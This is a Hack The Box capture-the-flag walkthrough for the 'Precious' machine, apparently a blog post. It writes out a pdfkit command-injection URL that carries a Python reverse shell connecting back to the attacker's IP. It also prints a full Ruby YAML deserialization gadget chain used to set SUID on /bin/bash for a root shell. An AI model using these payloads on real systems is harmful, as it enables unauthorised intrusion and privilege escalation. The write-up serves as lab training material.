Hack The Box Precious Machine Walkthrough — shaggy

Description: Hey everyone, I’m sharing the walkthrough for the Precious machine on Hack The Box. This machine emphasizes the importance of file misconfiguration awareness, secure software lifecycle management, and security research. Let’s solve it. 🍾 🙌 🎉

We use Threader3000 to identify open ports, then Nmap to fingerprint services. A web application is running.

The web app takes a URL we give it, converts it to a PDF, and hands the PDF back. We tried a few test links first to see how it behaves.

Then we spun up a web server from our terminal, pointed it at our own IP, and it listed the directories on our desktop back to us, as shown below.

1❯ python3 -m http.server 80

The downloaded PDF had an odd filename, so we checked its details with exiftool. The Creator field showed pdfkit v0.8.6, which we looked up.

The research turns up a command injection vulnerability in this version, exploitable by running a command inside backticks.

1https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795

As shown below, it returned the uid for the username we gave it.

We get a shell on the system, shown below. Worth flagging: the web server has to stay up for the shell to land, and we forgot that the first several tries (about 7 to 8 failed attempts, all because port 80 wasn’t running 🫠🫢). The command we used:

1http://10.10.14.4/?name=%20`python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",3232));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

As ruby, we find a config file inside /home/ruby/.bundle/ that contains henry’s credentials. This allows us to SSH in as henry.

Henry’s home directory has user.txt.

Running sudo -l reveals henry can run update_dependencies.rb as root.

The file contents:

1# Compare installed dependencies with those specified in "dependencies.yml"require "yaml"require 'rubygems'# TODO: update versions automaticallydef update_gems()enddef list_from_file    YAML.load(File.read("dependencies.yml"))enddef list_local_gems    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}endgems_file = list_from_filegems_local = list_local_gemsgems_file.each do |file_name, file_version|    gems_local.each do |local_name, local_version|        if(file_name == local_name)            if(file_version != local_version)                puts "Installed version differs from the one specified in file: " + local_name            else                puts "Installed version is equals to the one specified in file: " + local_name            end        end    endend

The script loads a YAML file. This is exploitable via a Ruby YAML deserialization gadget. We research the attack vector.

We modify dependencies.yml, replacing git_set: id with git_set: chmod u+s /bin/bash:

Before:

1---- !ruby/object:Gem::Installer    i: x- !ruby/object:Gem::SpecFetcher    i: y- !ruby/object:Gem::Requirement  requirements:    !ruby/object:Gem::Package::TarReader    io: &1 !ruby/object:Net::BufferedIO      io: &1 !ruby/object:Gem::Package::TarReader::Entry         read: 0         header: "abc"      debug_output: &1 !ruby/object:Net::WriteAdapter         socket: &1 !ruby/object:Gem::RequestSet             sets: !ruby/object:Net::WriteAdapter                 socket: !ruby/module 'Kernel'                 method_id: :system             git_set: id         method_id: :resolve

After:

1---- !ruby/object:Gem::Installer    i: x- !ruby/object:Gem::SpecFetcher    i: y- !ruby/object:Gem::Requirement  requirements:    !ruby/object:Gem::Package::TarReader    io: &1 !ruby/object:Net::BufferedIO      io: &1 !ruby/object:Gem::Package::TarReader::Entry         read: 0         header: "abc"      debug_output: &1 !ruby/object:Net::WriteAdapter         socket: &1 !ruby/object:Gem::RequestSet             sets: !ruby/object:Net::WriteAdapter                 socket: !ruby/module 'Kernel'                 method_id: :system             git_set:  chmod u+s /bin/bash         method_id: :resolve

Running the script as root applies SUID to /bin/bash.

We run bash -p to get a root shell and grab the final flag.

Thanks for reading, happy hacking! :)